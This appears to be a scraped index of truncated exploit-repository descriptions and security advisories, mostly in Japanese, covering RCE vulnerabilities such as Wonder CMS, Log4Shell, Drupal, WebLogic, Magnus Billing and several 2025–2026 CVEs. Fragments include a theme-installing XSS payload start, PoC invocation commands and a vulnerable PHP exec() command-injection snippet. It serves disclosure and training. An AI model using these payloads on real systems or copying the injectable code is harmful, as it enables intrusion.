CVE-2023-41425

https://sploitus.com/exploit?id=3A833277-4844-5F02-AFEF-5EA6BA8AC1AC Wonder CMS RCE | | 説明 : XSS から RCE へ、Wonder CMS 3.2.0 evil/evil.php EOF root@kitploit: zip -r evil.zip evil/ JS payload that will install the new theme root@kitploit: cat xssrce.js var xhr=new XMLHttpRequest; xhr.open"GET",...

CVE-2025-64424-Coolify-

Coolify CVE-2025-64424 RCE 脆弱性ラボ レッスンプラン: Red74-Coolio-CVE-2025-64424 免責事項: このリポジトリには、意図的に脆弱性を含む Coolify バージョンが含まれており、教育目的、CTF 環境、サイバーセキュリティトレーニングを目的としています。本番環境にデプロイしたり、パブリックインターネットに公開したりしないでください。 このラボは、Coolify の 4.0.0-beta.420.7 より前のバージョンの Git リポジトリソースフィールドで見つかったコマンドインジェクション / リモートコード実行 RCE の脆弱性...

CVE-2024-27348-HugeGraph-RCE

CVE-2024-27348: Apache HugeGraph RCE（高度なサンドボックス回避） CVE-2024-27348 （Apache HugeGraph Server におけるリモートコード実行）のための高度で信頼性の高い Proof of Concept（PoC）エクスプロイトです。 公開されている多くの PoC はコマンドを盲目的に実行したり、Java の Runtime.exec の制限により複雑なペイロードで失敗したりしますが、本スクリプトは実際のペネトレーションテストシナリオにおける信頼性 を考慮して設計されています。 ⚠️ 免責事項...

Cisco-ASA-CVE-2025-20333-Scanner

CVE-2025-20333 スキャナー Cisco ASA / FTD VPN Web Server Buffer Overflow CVE-2025-20333 のためのPythonベースの診断スキャナーです。 CVE-2025-20333 は、WebVPNファイルアップロードハンドラにおける重大なヒープベースのバッファオーバーフロー脆弱性であり、正常に悪用されると rootとしてのリモートコード実行（RCE） につながる可能性があります。 概要 このツールは、脆弱なエンドポイント（主にファイルアップロードハンドラ）が到達可能かどうかをチェックすることで、安全で破壊的でないテスト...

-Educational-PoC-CVE-2026-23520

CVE-2026-23520: Model Context Protocol MCP Connect RCE - 教育用PoC - Arcane 免責事項: このリポジトリおよび含まれるスクリプトは、教育および学術目的のみに厳密に使用されます。 ここで提供される情報は、セキュリティ研究者、システム管理者、学生が、管理された実験環境（Capture The Flagプラットフォームなど）におけるコマンドインジェクションの脆弱性と仮想ホストルーティングの仕組みを理解するのに役立つことを意図しています。...

magnus_billing_7.3.0_RCE_CVE-2023-30258

magnusbilling7.3.0RCECVE-2023-30258 magnus billing 7.3.0には、icepay.phpリソースのパラメータ"democ"にリモートコード実行の脆弱性があります。この脆弱性により、クエリをエスケープして任意のコマンドを実行できます。 脆弱なコード root@kitploit: if isset$GET'democ' if strlen$GET'democ' 5 exec"touch " . $GET'democ' . '.txt'; else exec"rm -rf .txt";...

CVE-2018-2628

weblogic getshell 先輩方のスクリプトをベースに、Python 3 で動作するよう最適化しました。 主に Windows 向けです。 参考リンク https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2018-2628/README.zh-cn.md https://github.com/0xMJ/CVE-2018-2628 weblogic getshell 脆弱性の有無をテスト python pocweblogic.py your-ip getshell の送信 "Weblogic GetShell...

CVE-2018-7600

Drupal 7 CVE-2018-7600 / SA-CORE-2018-002 必要なライブラリをインストール: root@kitploit: pip install requests pip install bs4 root@kitploit: $ python3 drupa7-CVE-2018-7600.py -h ============================================================================= | DRUPAL 7 = 7.57 REMOTE CODE EXECUTION CVE-2018-7600 | ...

CVE-2017-1000486

CVE-2017-1000486 Primefaces = 5.2.21, 5.3.8 or 6.0 - リモートコード実行エクスプロイト 依存関係をインストールするには、以下を実行します： root@kitploit: git clone https://github.com/pimps/CVE-2017-1000486.git cd CVE-2017-1000486 pip3 install -r requirements.txt エクスプロイトの使用方法は次のとおりです： root@kitploit: $ python primefaces.py -h...

Log4Shell-CVE-2021-44228-PoC

Log4Shell CVE-2021-44228: 概要 Apache Log4j2 2.0-beta9 から 2.15.0 まで（ただし 2.12.2、2.12.3、2.3.1 は除く） 設定、ログメッセージ、およびパラメータで使用される JNDI 機能は、攻撃者が制御する LDAP およびその他の JNDI 関連エンドポイントから保護しません。メッセージルックアップ置換が有効な場合、ログメッセージまたはログメッセージパラメータを制御できる攻撃者は、LDAP サーバーからロードされた任意のコードを実行できます。log4j 2.15.0...

CVE-2022-1565

WordPress Plugin WP All Import = 3.6.7 - リモートコード実行 RCE 認証済み root@kitploit: 日付: 2023年11月5日 エクスプロイト作者: Việt HÙng https://github.com/phanthibichtram12 ベンダーホームページ: https://www.wpallimport.com/ ソフトウェアリンク: https://wordpress.org/plugins/wp-all-import/advanced/ 下にスクロールしてバージョンを選択 バージョン: = 3.6.7 テスト済み: 3.6...

CVE-2025-55182

👻 CVE-2025-55182 Goエクスプロイト CVE-2025-55182（React Server Components）用の対話型RCEエクスプロイトツール 🎯 これは何か？ CVE-2025-55182 は、React 19.0.0〜19.2.0およびNext.jsアプリケーションに影響を与えるReact Server Components（RSC）の重大な脆弱性であるCVE-2025-55182 を標的とした、最小限の対話型RCEエクスプロイトツールです。 📦 インストール 前提条件 Go 1.18以上 React 19.0.0〜19.2.0を実行している脆弱なターゲット...

n8n-RCE-CVE-2025-68613

n8n の式インジェクションによる RCE 分析 CVE-2025-68613 このリポジトリには、Hackviser プラットフォームで利用可能な脆弱な n8n サービスを悪用するために私が作成したラボレポートが含まれています。 この調査では、n8n の式評価メカニズムを利用してサンドボックスエスケープを実行し、サーバーのルートディレクトリにある機密ファイル /secret.txt に不正アクセスする方法を実証しました。このプロセスは、OWASP Top 10 に掲載されている A03:2021-インジェクションの脆弱性の実際的な影響を明確に示しています。...

Security Bulletin: This Power System update is being released to address CVE-2026-45447

Summary An authenticated administrator user uploading a specially crafted certificate to the BMC can lead to loss of integrity or remote code execution. Vulnerability Details CVEID:CVE-2026-45447 DESCRIPTION: Issue summary: A specially crafted PKCS7 or S/MIME signed message could trigger a...

Sophos Web Appliance - Remote Code Execution

A pre-auth command injection vulnerability in the warn-proceed handler of Sophos Web Appliance older than version 4.3.10.4 allows execution of arbitrary code. id: CVE-2023-1671 info: name: Sophos Web Appliance - Remote Code Execution author: Co5mos severity: critical description: | A pre-auth...

Juniper J-Web - Remote Code Execution

A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series and SRX Series allows an unauthenticated, network-based attacker to control certain environments variables to execute remote commands id: CVE-2023-36845 info: name: Juniper J-Web - Remote Code...

Adobe ColdFusion - Unrestricted File Upload Remote Code Execution

Adobe ColdFusion versions July 12 release 2018.0.0.310739, Update 6 and earlier, and Update 14 and earlier have an unrestricted file upload vulnerability. Successful exploitation could lead to arbitrary code execution. id: CVE-2018-15961 info: name: Adobe ColdFusion - Unrestricted File Upload...

Drupal - Remote Code Execution

Drupal 7.x and 8.x contain a remote code execution vulnerability that exists within multiple subsystems. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being compromised. This vulnerability is related to Drupal core - Highly...

EUVD-2026-85727

Microsoft Outlook Remote Code Execution Vulnerability...

EUVD-2026-85706

Laravel-Mediable 7.0.0 before 7.0.2 contains an incomplete patch for CVE-2026-49972 in which the .pht extension is absent from the forbiddenextensions blocklist in config/mediable.php. The blocklist introduced to address CVE-2026-49972 includes phpt but omits pht, which Apache executes as PHP via...